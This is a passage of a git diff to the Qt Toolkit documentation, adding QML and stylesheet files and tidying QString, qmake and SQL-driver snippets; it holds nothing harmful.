index 0000000..cd413cc
--- /dev/null
+++ b/doc/src/snippets/declarative/transitions-list.qml
@@ -0,0 +1,89 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+import QtQuick 1.0
+
+Rectangle {
+ width: 150; height: 250
+
+ Rectangle {
+ id: stopLight
+ x: 25; y: 15; width: 100; height: 100
+ }
+ Rectangle {
+ id: goLight
+ x: 25; y: 135; width: 100; height: 100
+ }
+
+ states: [
+ State {
+ name: "stop"
+ PropertyChanges { target: stopLight; color: "red" }
+ PropertyChanges { target: goLight; color: "black" }
+ },
+ State {
+ name: "go"
+ PropertyChanges { target: stopLight; color: "black" }
+ PropertyChanges { target: goLight; color: "green" }
+ }
+ ]
+
+ state: "stop"
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: parent.state == "stop" ?
+ parent.state = "go" : parent.state = "stop"
+ }
+
+ //! [list of transitions]
+ transitions: [
+ Transition {
+ from: "stop"; to: "go"
+ PropertyAnimation { target: stopLight
+ properties: "color"; duration: 1000 }
+ },
+ Transition {
+ from: "go"; to: "stop"
+ PropertyAnimation { target: goLight
+ properties: "color"; duration: 1000 }
+ } ]
+ //! [list of transitions]
+}
diff --git a/doc/src/snippets/declarative/webview/webview.qml b/doc/src/snippets/declarative/webview/webview.qml
new file mode 100644
index 0000000..c1cef33
--- /dev/null
+++ b/doc/src/snippets/declarative/webview/webview.qml
@@ -0,0 +1,51 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+//! [document]
+import QtWebKit 1.0
+
+WebView {
+ url: "http://www.nokia.com"
+ preferredWidth: 490
+ preferredHeight: 400
+ scale: 0.5
+ smooth: false
+}
+//! [document]
diff --git a/doc/src/snippets/qabstractsliderisnippet.cpp b/doc/src/snippets/qabstractsliderisnippet.cpp
index 6b684e9..cb0f8cc 100644
--- a/doc/src/snippets/qabstractsliderisnippet.cpp
+++ b/doc/src/snippets/qabstractsliderisnippet.cpp
@@ -50,7 +50,7 @@ QAbstractSliderPrivate::~QAbstractSliderPrivate()
{
}
-oid QAbstractSlider::setRange(int min, int max)
+void QAbstractSlider::setRange(int min, int max)
{
Q_D(QAbstractSlider);
int oldMin = d->minimum;
diff --git a/doc/src/snippets/qmake/spaces.pro b/doc/src/snippets/qmake/spaces.pro
index 544ef05..614d4c5 100644
--- a/doc/src/snippets/qmake/spaces.pro
+++ b/doc/src/snippets/qmake/spaces.pro
@@ -1,9 +1,9 @@
#! [quoting library paths with spaces]
-win32:LIBS += $$quote(C:/mylibs/extra libs/extra.lib)
-unix:LIBS += $$quote(-L/home/user/extra libs) -lextra
+win32:LIBS += "C:/mylibs/extra libs/extra.lib"
+unix:LIBS += "-L/home/user/extra libs" -lextra
#! [quoting library paths with spaces]
#! [quoting include paths with spaces]
-win32:INCLUDEPATH += $$quote(C:/mylibs/extra headers)
-unix:INCLUDEPATH += $$quote(/home/user/extra headers)
+win32:INCLUDEPATH += "C:/mylibs/extra headers"
+unix:INCLUDEPATH += "/home/user/extra headers"
#! [quoting include paths with spaces]
diff --git a/doc/src/snippets/qstring/main.cpp b/doc/src/snippets/qstring/main.cpp
index 9aac79d..bbc9e98 100644
--- a/doc/src/snippets/qstring/main.cpp
+++ b/doc/src/snippets/qstring/main.cpp
@@ -126,22 +126,22 @@ Widget::Widget(QWidget *parent)
void Widget::constCharPointer()
{
-//! [0]
+ //! [0]
QString str = "Hello";
-//! [0]
+ //! [0]
}
void Widget::constCharArray()
{
-//! [1]
+ //! [1]
static const QChar data[4] = { 0x0055, 0x006e, 0x10e3, 0x03a3 };
QString str(data, 4);
-//! [1]
+ //! [1]
}
void Widget::characterReference()
{
-//! [2]
+ //! [2]
QString str;
str.resize(4);
@@ -149,46 +149,46 @@ void Widget::characterReference()
str[1] = QChar('n');
str[2] = QChar(0x10e3);
str[3] = QChar(0x03a3);
-//! [2]
+ //! [2]
}
void Widget::atFunction()
{
-//! [3]
+ //! [3]
QString str;
for (int i = 0; i < str.size(); ++i) {
if (str.at(i) >= QChar('a') && str.at(i) <= QChar('f'))
qDebug() << "Found character in range [a-f]";
}
-//! [3]
+ //! [3]
}
void Widget::stringLiteral()
{
-//! [4]
+ //! [4]
QString str;
if (str == "auto" || str == "extern"
|| str == "static" || str == "register") {
// ...
}
-//! [4]
+ //! [4]
}
void Widget::modify()
{
-//! [5]
+ //! [5]
QString str = "and";
str.prepend("rock "); // str == "rock and"
str.append(" roll"); // str == "rock and roll"
str.replace(5, 3, "&"); // str == "rock & roll"
-//! [5]
+ //! [5]
}
void Widget::index()
{
-//! [6]
+ //! [6]
QString str = "We must be <b>bold</b>, very <b>bold</b>";
int j = 0;
@@ -196,25 +196,25 @@ void Widget::index()
qDebug() << "Found <b> tag at index position" << j;
++j;
}
-//! [6]
+ //! [6]
}
//! [7]
- QString Widget::boolToString(bool b)
- {
- QString result;
- if (b)
- result = "True";
- else
- result = "False";
- return result;
- }
+QString Widget::boolToString(bool b)
+{
+ QString result;
+ if (b)
+ result = "True";
+ else
+ result = "False";
+ return result;
+}
//! [7]
void Widget::nullVsEmpty()
{
-//! [8]
+ //! [8]
QString().isNull(); // returns true
QString().isEmpty(); // returns true
@@ -223,45 +223,45 @@ void Widget::nullVsEmpty()
QString("abc").isNull(); // returns false
QString("abc").isEmpty(); // returns false
-//! [8]
+ //! [8]
}
void Widget::appendFunction()
{
-//! [9]
+ //! [9]
QString x = "free";
QString y = "dom";
x.append(y);
// x == "freedom"
-//! [9]
+ //! [9]
-//! [10]
+ //! [10]
x.insert(x.size(), y);
-//! [10]
+ //! [10]
}
void Widget::argFunction()
{
-//! [11]
+ //! [11]
QString i; // current file's number
QString total; // number of files to process
QString fileName; // current file's name
QString status = QString("Processing file %1 of %2: %3")
.arg(i).arg(total).arg(fileName);
-//! [11]
+ //! [11]
-//! [12] //! [13]
+ //! [12] //! [13]
QString str;
-//! [12]
+ //! [12]
str = "%1 %2";
str.arg("%1f", "Hello"); // returns "%1f Hello"
str.arg("%1f").arg("Hello"); // returns "Hellof %2"
-//! [13]
+ //! [13]
-//! [14]
+ //! [14]
str = QString("Decimal 63 is %1 in hexadecimal")
.arg(63, 0, 16);
// str == "Decimal 63 is 3f in hexadecimal"
@@ -272,16 +272,16 @@ void Widget::argFunction()
.arg(12345)
.arg(12345, 0, 16);
// str == "12345 12,345 3039"
-//! [14]
+ //! [14]
}
void Widget::chopFunction()
{
-//! [15]
+ //! [15]
QString str("LOGOUT\r\n");
str.chop(2);
// str == "LOGOUT"
-//! [15]
+ //! [15]
}
void Widget::compareFunction()
@@ -293,251 +293,251 @@ void Widget::compareFunction()
void Widget::compareSensitiveFunction()
{
-//! [16]
+ //! [16]
int x = QString::compare("aUtO", "AuTo", Qt::CaseInsensitive); // x == 0
int y = QString::compare("auto", "Car", Qt::CaseSensitive); // y > 0
int z = QString::compare("auto", "Car", Qt::CaseInsensitive); // z < 0
-//! [16]
+ //! [16]
}
void Widget::containsFunction()
{
-//! [17]
+ //! [17]
QString str = "Peter Pan";
str.contains("peter", Qt::CaseInsensitive); // returns true
-//! [17]
+ //! [17]
}
void Widget::countFunction()
{
-//! [18]
+ //! [18]
QString str = "banana and panama";
str.count(QRegExp("a[nm]a")); // returns 4
-//! [18]
+ //! [18]
}
void Widget::dataFunction()
{
-//! [19]
+ //! [19]
QString str = "Hello world";
QChar *data = str.data();
while (!data->isNull()) {
qDebug() << data->unicode();
++data;
}
-//! [19]
+ //! [19]
}
void Widget::endsWithFunction()
{
-//! [20]
+ //! [20]
QString str = "Bananas";
str.endsWith("anas"); // returns true
str.endsWith("pple"); // returns false
-//! [20]
+ //! [20]
}
void Widget::fillFunction()
{
-//! [21]
+ //! [21]
QString str = "Berlin";
str.fill('z');
// str == "zzzzzz"
str.fill('A', 2);
// str == "AA"
-//! [21]
+ //! [21]
}
void Widget::fromRawDataFunction()
{
-//! [22]
- QRegExp pattern;
- static const QChar unicode[] = {
- 0x005A, 0x007F, 0x00A4, 0x0060,
- 0x1009, 0x0020, 0x0020};
- int size = sizeof(unicode) / sizeof(QChar);
+ //! [22]
+ QRegExp pattern;
+ static const QChar unicode[] = {
+ 0x005A, 0x007F, 0x00A4, 0x0060,
+ 0x1009, 0x0020, 0x0020};
+ int size = sizeof(unicode) / sizeof(QChar);
- QString str = QString::fromRawData(unicode, size);
- if (str.contains(QRegExp(pattern))) {
- // ...
-//! [22] //! [23]
- }
-//! [23]
+ QString str = QString::fromRawData(unicode, size);
+ if (str.contains(QRegExp(pattern))) {
+ // ...
+ //! [22] //! [23]
+ }
+ //! [23]
}
void Widget::indexOfFunction()
{
-//! [24]
+ //! [24]
QString x = "sticky question";
QString y = "sti";
x.indexOf(y); // returns 0
x.indexOf(y, 1); // returns 10
x.indexOf(y, 10); // returns 10
x.indexOf(y, 11); // returns -1
-//! [24]
+ //! [24]
}
void Widget::firstIndexOfFunction()
{
-//! [25]
+ //! [25]
QString str = "the minimum";
str.indexOf(QRegExp("m[aeiou]"), 0); // returns 4
-//! [25]
+ //! [25]
}
void Widget::insertFunction()
{
-//! [26]
+ //! [26]
QString str = "Meal";
str.insert(1, QString("ontr"));
// str == "Montreal"
-//! [26]
+ //! [26]
}
void Widget::isEmptyFunction()
{
-//! [27]
+ //! [27]
QString().isEmpty(); // returns true
QString("").isEmpty(); // returns true
QString("x").isEmpty(); // returns false
QString("abc").isEmpty(); // returns false
-//! [27]
+ //! [27]
}
void Widget::isNullFunction()
{
-//! [28]
+ //! [28]
QString().isNull(); // returns true
QString("").isNull(); // returns false
QString("abc").isNull(); // returns false
-//! [28]
+ //! [28]
}
void Widget::lastIndexOfFunction()
{
-//! [29]
+ //! [29]
QString x = "crazy azimuths";
QString y = "az";
x.lastIndexOf(y); // returns 6
x.lastIndexOf(y, 6); // returns 6
x.lastIndexOf(y, 5); // returns 2
x.lastIndexOf(y, 1); // returns -1
-//! [29]
+ //! [29]
-//! [30]
+ //! [30]
QString str = "the minimum";
str.lastIndexOf(QRegExp("m[aeiou]")); // returns 8
-//! [30]
+ //! [30]
}
void Widget::leftFunction()
{
-//! [31]
+ //! [31]
QString x = "Pineapple";
QString y = x.left(4); // y == "Pine"
-//! [31]
+ //! [31]
}
void Widget::leftJustifiedFunction()
{
-//! [32]
+ //! [32]
QString s = "apple";
QString t = s.leftJustified(8, '.'); // t == "apple..."
-//! [32]
+ //! [32]
-//! [33]
+ //! [33]
QString str = "Pineapple";
str = str.leftJustified(5, '.', true); // str == "Pinea"
-//! [33]
+ //! [33]
}
void Widget::midFunction()
{
-//! [34]
+ //! [34]
QString x = "Nine pineapples";
QString y = x.mid(5, 4); // y == "pine"
QString z = x.mid(5); // z == "pineapples"
-//! [34]
+ //! [34]
}
void Widget::numberFunction()
{
-//! [35]
+ //! [35]
long a = 63;
QString s = QString::number(a, 16); // s == "3f"
QString t = QString::number(a, 16).toUpper(); // t == "3F"
-//! [35]
+ //! [35]
}
void Widget::prependFunction()
{
-//! [36]
+ //! [36]
QString x = "ship";
QString y = "air";
x.prepend(y);
// x == "airship"
-//! [36]
+ //! [36]
}
void Widget::removeFunction()
{
-//! [37]
+ //! [37]
QString s = "Montreal";
s.remove(1, 4);
// s == "Meal"
-//! [37]
+ //! [37]
-//! [38]
+ //! [38]
QString t = "Ali Baba";
t.remove(QChar('a'), Qt::CaseInsensitive);
// t == "li Bb"
-//! [38]
+ //! [38]
-//! [39]
+ //! [39]
QString r = "Telephone";
r.remove(QRegExp("[aeiou]."));
// r == "The"
-//! [39]
+ //! [39]
}
void Widget::replaceFunction()
{
-//! [40]
+ //! [40]
QString x = "Say yes!";
QString y = "no";
x.replace(4, 3, y);
// x == "Say no!"
-//! [40]
+ //! [40]
-//! [41]
+ //! [41]
QString str = "colour behaviour flavour neighbour";
str.replace(QString("ou"), QString("o"));
// str == "color behavior flavor neighbor"
-//! [41]
+ //! [41]
-//! [42]
+ //! [42]
QString s = "Banana";
s.replace(QRegExp("a[mn]"), "ox");
// s == "Boxoxa"
-//! [42]
+ //! [42]
-//! [43]
+ //! [43]
QString t = "A <i>bon mot</i>.";
t.replace(QRegExp("<i>([^<]*)</i>"), "\\emph{\\1}");
// t == "A \\emph{bon mot}."
-//! [43]
+ //! [43]
-//! [86]
+ //! [86]
QString equis = "xxxxxx";
equis.replace("xx", "x");
// equis == "xxx"
-//! [86]
+ //! [86]
}
void Widget::reserveFunction()
{
-//! [44]
+ //! [44]
QString result;
int maxSize;
bool condition;
@@ -549,59 +549,59 @@ void Widget::reserveFunction()
result.append(nextChar);
result.squeeze();
-//! [44]
+ //! [44]
}
void Widget::resizeFunction()
{
-//! [45]
+ //! [45]
QString s = "Hello world";
s.resize(5);
// s == "Hello"
s.resize(8);
// s == "Hello???" (where ? stands for any character)
-//! [45]
+ //! [45]
-//! [46]
+ //! [46]
QString t = "Hello";
t += QString(10, 'X');
// t == "HelloXXXXXXXXXX"
-//! [46]
+ //! [46]
-//! [47]
+ //! [47]
QString r = "Hello";
r = r.leftJustified(10, ' ');
// r == "Hello "
-//! [47]
+ //! [47]
}
void Widget::rightFunction()
{
-//! [48]
+ //! [48]
QString x = "Pineapple";
QString y = x.right(5); // y == "apple"
-//! [48]
+ //! [48]
}
void Widget::rightJustifiedFunction()
{
-//! [49]
+ //! [49]
QString s = "apple";
QString t = s.rightJustified(8, '.'); // t == "...apple"
-//! [49]
+ //! [49]
-//! [50]
+ //! [50]
QString str = "Pineapple";
str = str.rightJustified(5, '.', true); // str == "Pinea"
-//! [50]
+ //! [50]
}
void Widget::sectionFunction()
{
-//! [51] //! [52]
+ //! [51] //! [52]
QString str;
-//! [51]
+ //! [51]
QString csv = "forename,middlename,surname,phone";
QString path = "/usr/local/bin/myapp"; // First field is empty
QString::SectionFlag flag = QString::SectionSkipEmpty;
@@ -610,83 +610,83 @@ void Widget::sectionFunction()
str = csv.section(',', 2, 2); // str == "surname"
str = path.section('/', 3, 4); // str == "bin/myapp"
str = path.section('/', 3, 3, flag); // str == "myapp"
-//! [52]
+ //! [52]
-//! [53]
+ //! [53]
str = csv.section(',', -3, -2); // str == "middlename,surname"
str = path.section('/', -1); // str == "myapp"
-//! [53]
+ //! [53]
-//! [54]
+ //! [54]
QString data = "forename**middlename**surname**phone";
str = data.section("**", 2, 2); // str == "surname"
str = data.section("**", -3, -2); // str == "middlename**surname"
-//! [54]
+ //! [54]
-//! [55]
+ //! [55]
QString line = "forename\tmiddlename surname \t \t phone";
QRegExp sep("\\s+");
str = line.section(sep, 2, 2); // s == "surname"
str = line.section(sep, -3, -2); // s == "middlename surname"
-//! [55]
+ //! [55]
}
void Widget::setNumFunction()
{
-//! [56]
+ //! [56]
QString str;
str.setNum(1234); // str == "1234"
-//! [56]
+ //! [56]
}
void Widget::simplifiedFunction()
{
-//! [57]
+ //! [57]
QString str = " lots\t of\nwhitespace\r\n ";
str = str.simplified();
// str == "lots of whitespace";
-//! [57]
+ //! [57]
}
void Widget::sizeFunction()
{
-//! [58]
+ //! [58]
QString str = "World";
int n = str.size(); // n == 5
str.data()[0]; // returns 'W'
str.data()[4]; // returns 'd'
str.data()[5]; // returns '\0'
-//! [58]
+ //! [58]
}
void Widget::splitFunction()
{
-//! [59]
+ //! [59]
QString str;
QStringList list;
str = "Some text\n\twith strange whitespace.";
list = str.split(QRegExp("\\s+"));
// list: [ "Some", "text", "with", "strange", "whitespace." ]
-//! [59]
+ //! [59]
-//! [60]
+ //! [60]
str = "This time, a normal English sentence.";
list = str.split(QRegExp("\\W+"), QString::SkipEmptyParts);
// list: [ "This", "time", "a", "normal", "English", "sentence" ]
-//! [60]
+ //! [60]
-//! [61]
+ //! [61]
str = "Now: this sentence fragment.";
list = str.split(QRegExp("\\b"));
// list: [ "", "Now", ": ", "this", " ", "sentence", " ", "fragment", "." ]
-//! [61]
+ //! [61]
}
void Widget::splitCaseSensitiveFunction()
{
-//! [62]
+ //! [62]
QString str = "a,,b,c";
QStringList list1 = str.split(",");
@@ -694,241 +694,241 @@ void Widget::splitCaseSensitiveFunction()
QStringList list2 = str.split(",", QString::SkipEmptyParts);
// list2: [ "a", "b", "c" ]
-//! [62]
+ //! [62]
}
void Widget::sprintfFunction()
{
-//! [63]
+ //! [63]
size_t BufSize;
char buf[BufSize];
::snprintf(buf, BufSize, "%lld", 123456789LL);
QString str = QString::fromAscii(buf);
-//! [63]
+ //! [63]
-//! [64]
+ //! [64]
QString result;
QTextStream(&result) << "pi = " << 3.14;
// result == "pi = 3.14"
-//! [64]
+ //! [64]
}
void Widget::startsWithFunction()
{
-//! [65]
+ //! [65]
QString str = "Bananas";
str.startsWith("Ban"); // returns true
str.startsWith("Car"); // returns false
-//! [65]
+ //! [65]
}
void Widget::toDoubleFunction()
{
-//! [66]
+ //! [66]
QString str = "1234.56";
double val = str.toDouble(); // val == 1234.56
-//! [66]
+ //! [66]
-//! [67]
+ //! [67]
bool ok;
double d;
d = QString( "1234.56e-02" ).toDouble(&ok); // ok == true, d == 12.3456
-//! [67]
+ //! [67]
-//! [68] //! [69]
+ //! [68] //! [69]
QLocale::setDefault(QLocale::C);
d = QString( "1234,56" ).toDouble(&ok); // ok == false
-//! [68]
+ //! [68]
d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56
-//! [69] //! [70]
+ //! [69] //! [70]
QLocale::setDefault(QLocale::German);
d = QString( "1234,56" ).toDouble(&ok); // ok == true, d == 1234.56
d = QString( "1234.56" ).toDouble(&ok); // ok == true, d == 1234.56
-//! [70]
+ //! [70]
QLocale::setDefault(QLocale::C);
d = QString( "1,234,567.89" ).toDouble(&ok); // ok == false
}
void Widget::toFloatFunction()
{
-//! [71]
+ //! [71]
QString str1 = "1234.56";
str1.toFloat(); // returns 1234.56
bool ok;
QString str2 = "R2D2";
str2.toFloat(&ok); // returns 0.0, sets ok to false
-//! [71]
+ //! [71]
}
void Widget::toIntFunction()
{
-//! [72]
+ //! [72]
QString str = "FF";
bool ok;
int hex = str.toInt(&ok, 16); // hex == 255, ok == true
int dec = str.toInt(&ok, 10); // dec == 0, ok == false
-//! [72]
+ //! [72]
}
void Widget::toLongFunction()
{
-//! [73]
+ //! [73]
QString str = "FF";
bool ok;
long hex = str.toLong(&ok, 16); // hex == 255, ok == true
long dec = str.toLong(&ok, 10); // dec == 0, ok == false
-//! [73]
+ //! [73]
}
void Widget::toLongLongFunction()
{
-//! [74]
+ //! [74]
QString str = "FF";
bool ok;
qint64 hex = str.toLongLong(&ok, 16); // hex == 255, ok == true
qint64 dec = str.toLongLong(&ok, 10); // dec == 0, ok == false
-//! [74]
+ //! [74]
}
void Widget::toLowerFunction()
{
-//! [75]
+ //! [75]
QString str = "Qt by NOKIA";
str = str.toLower(); // str == "qt by nokia"
-//! [75]
+ //! [75]
}
void Widget::toShortFunction()
{
-//! [76]
+ //! [76]
QString str = "FF";
bool ok;
short hex = str.toShort(&ok, 16); // hex == 255, ok == true
short dec = str.toShort(&ok, 10); // dec == 0, ok == false
-//! [76]
+ //! [76]
}
void Widget::toUIntFunction()
{
-//! [77]
+ //! [77]
QString str = "FF";
bool ok;
uint hex = str.toUInt(&ok, 16); // hex == 255, ok == true
uint dec = str.toUInt(&ok, 10); // dec == 0, ok == false
-//! [77]
+ //! [77]
}
void Widget::toULongFunction()
{
-//! [78]
+ //! [78]
QString str = "FF";
bool ok;
ulong hex = str.toULong(&ok, 16); // hex == 255, ok == true
ulong dec = str.toULong(&ok, 10); // dec == 0, ok == false
-//! [78]
+ //! [78]
}
void Widget::toULongLongFunction()
{
-//! [79]
+ //! [79]
QString str = "FF";
bool ok;
quint64 hex = str.toULongLong(&ok, 16); // hex == 255, ok == true
quint64 dec = str.toULongLong(&ok, 10); // dec == 0, ok == false
-//! [79]
+ //! [79]
}
void Widget::toUShortFunction()
{
-//! [80]
+ //! [80]
QString str = "FF";
bool ok;
ushort hex = str.toUShort(&ok, 16); // hex == 255, ok == true
ushort dec = str.toUShort(&ok, 10); // dec == 0, ok == false
-//! [80]
+ //! [80]
}
void Widget::toUpperFunction()
{
-//! [81]
+ //! [81]
QString str = "TeXt";
str = str.toUpper(); // str == "TEXT"
-//! [81]
+ //! [81]
}
void Widget::trimmedFunction()
{
-//! [82]
+ //! [82]
QString str = " lots\t of\nwhitespace\r\n ";
str = str.trimmed();
// str == "lots\t of\nwhitespace"
-//! [82]
+ //! [82]
}
void Widget::truncateFunction()
{
-//! [83]
+ //! [83]
QString str = "Vladivostok";
str.truncate(4);
// str == "Vlad"
-//! [83]
+ //! [83]
}
void Widget::plusEqualOperator()
{
-//! [84]
+ //! [84]
QString x = "free";
QString y = "dom";
x += y;
// x == "freedom"
-//! [84]
+ //! [84]
}
void Widget::arrayOperator()
{
-//! [85]
+ //! [85]
QString str;
if (str[0] == QChar('?'))
str[0] = QChar('_');
-//! [85]
+ //! [85]
}
void Widget::midRefFunction()
{
-//! [midRef]
+ //! [midRef]
QString x = "Nine pineapples";
QStringRef y = x.midRef(5, 4); // y == "pine"
QStringRef z = x.midRef(5); // z == "pineapples"
-//! [midRef]
+ //! [midRef]
}
void Widget::leftRefFunction()
{
-//! [leftRef]
+ //! [leftRef]
QString x = "Pineapple";
QStringRef y = x.leftRef(4); // y == "Pine"
-//! [leftRef]
+ //! [leftRef]
}
void Widget::rightRefFunction()
{
-//! [rightRef]
+ //! [rightRef]
QString x = "Pineapple";
QStringRef y = x.rightRef(5); // y == "apple"
-//! [rightRef]
+ //! [rightRef]
}
diff --git a/doc/src/sql-programming/sql-driver.qdoc b/doc/src/sql-programming/sql-driver.qdoc
index 1476491..a4bcb97 100644
--- a/doc/src/sql-programming/sql-driver.qdoc
+++ b/doc/src/sql-programming/sql-driver.qdoc
@@ -314,7 +314,9 @@
\section3 How to Build the OCI Plugin on Windows
Choosing the option "Programmer" in the Oracle Client Installer from
- the Oracle Client Installation CD is sufficient to build the plugin.
+ the Oracle Client Installation CD is generally sufficient to build the
+ plugin. For some versions of Oracle Client, you may also need to select
+ the "Call Interface (OCI)" option if it is available.
Build the plugin as follows (here it is assumed that Oracle Client is
installed in \c{C:\oracle}):
diff --git a/doc/src/template/style/narrow.css b/doc/src/template/style/narrow.css
index fbb0752..39b4740 100644
--- a/doc/src/template/style/narrow.css
+++ b/doc/src/template/style/narrow.css
@@ -135,7 +135,7 @@
.creator .wrap
{
margin: 0px;
- background:#FFFFFF;
+ background:#FFFFFF;
}
.narrow .wrap .toolbar
{
@@ -170,7 +170,7 @@
.narrow .wrap .breadcrumb ul li.last a {
color: #363534;
}
-
+
#narrowsearch {
display: none;
}
@@ -213,7 +213,7 @@
width: 64%;
padding-left: 0;
}
-
+
.narrow .indexboxcont .sectionlist {
width: 32.5%;
}
@@ -253,7 +253,7 @@
#narrowmenu li,
#narrowmenu li ul {
background-color: #fff;
- margin-top:-1px;
+ margin-top:-1px;
}
#narrowmenu li ul {
@@ -266,6 +266,6 @@
}
/* end narrow mode */
- .creator #narrowsearch, .creator #narrowmenu{
- display:none;
- }
+ .creator #narrowsearch, .creator #narrowmenu{
+ display:none;
+ }
diff --git a/doc/src/template/style/offline.css b/doc/src/template/style/offline.css
new file mode 100644
index 0000000..4083a75
--- /dev/null
+++ b/doc/src/template/style/offline.css
@@ -0,0 +1,672 @@
+@media screen
+{
+
+/* basic elements */
+ html
+ {
+ color: #000000;
+ background: #FFFFFF;
+ }
+ table
+ {
+ border-collapse: collapse;
+ border-spacing: 0;
+ }
+ fieldset, img
+ {
+ border: 0;
+ max-width:100%;
+ }
+ address, caption, cite, code, dfn, em, strong, th, var, optgroup
+ {
+ font-style: inherit;
+ font-weight: inherit;
+ }
+ del, ins
+ {
+ text-decoration: none;
+ }
+ li
+ {
+ list-style: none;
+ }
+ ol li
+ {
+ list-style: decimal;
+ }
+ caption, th
+ {
+ text-align: left;
+ }
+ h1, h2, h3, h4, h5, h6
+ {
+ font-size: 100%;
+ }
+ q:before, q:after
+ {
+ content: '';
+ }
+ abbr, acronym
+ {
+ border: 0;
+ font-variant: normal;
+ }
+ sup, sub
+ {
+ vertical-align: baseline;
+ }
+ tt, .qmlreadonly span, .qmldefault span
+ {
+ word-spacing:0.5em;
+ }
+ legend
+ {
+ color: #000000;
+ }
+ strong
+ {
+ font-weight: bold;
+ }
+ em
+ {
+ font-style: italic;
+ }
+
+ body
+ {
+ margin-left: 0.5em;
+ margin-right: 0.5em;
+ }
+ a
+ {
+ color: #00732F;
+ text-decoration: none;
+ }
+ hr
+ {
+ background-color: #E6E6E6;
+ border: 1px solid #E6E6E6;
+ height: 1px;
+ width: 100%;
+ text-align: left;
+ margin: 1.5em 0 1.5em 0;
+ }
+
+ pre
+ {
+ border: 1px solid #DDDDDD;
+ -moz-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ border-radius: 0.7em 0.7em 0.7em 0.7em;
+ margin: 0 1.5em 1em 1em;
+ padding: 1em 1em 1em 1em;
+ overflow-x: auto;
+ }
+ table, pre
+ {
+ -moz-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ -webkit-border-radius: 0.7em 0.7em 0.7em 0.7em;
+ border-radius: 0.7em 0.7em 0.7em 0.7em;
+ background-color: #F6F6F6;
+ border: 1px solid #E6E6E6;
+ border-collapse: separate;
+ margin-bottom: 2.5em;
+ }
+ pre {
+ font-size: 90%;
+ display: block;
+ overflow:hidden;
+ }
+ thead
+ {
+ margin-top: 0.5em;
+ font-weight: bold
+ }
+ th
+ {
+ padding: 0.5em 1.5em 0.5em 1.5em;
+ background-color: #E1E1E1;
+ border-left: 1px solid #E6E6E6;
+ }
+ td
+ {
+ padding: 0.25em 1.5em 0.25em 2em;
+ }
+
+ td.rightAlign
+ {
+ padding: 0.25em 0.5em 0.25em 1em;
+ }
+ table tr.odd
+ {
+ border-left: 1px solid #E6E6E6;
+ background-color: #F6F6F6;
+ color: #66666E;
+ }
+ table tr.even
+ {
+ border-left: 1px solid #E6E6E6;
+ background-color: #ffffff;
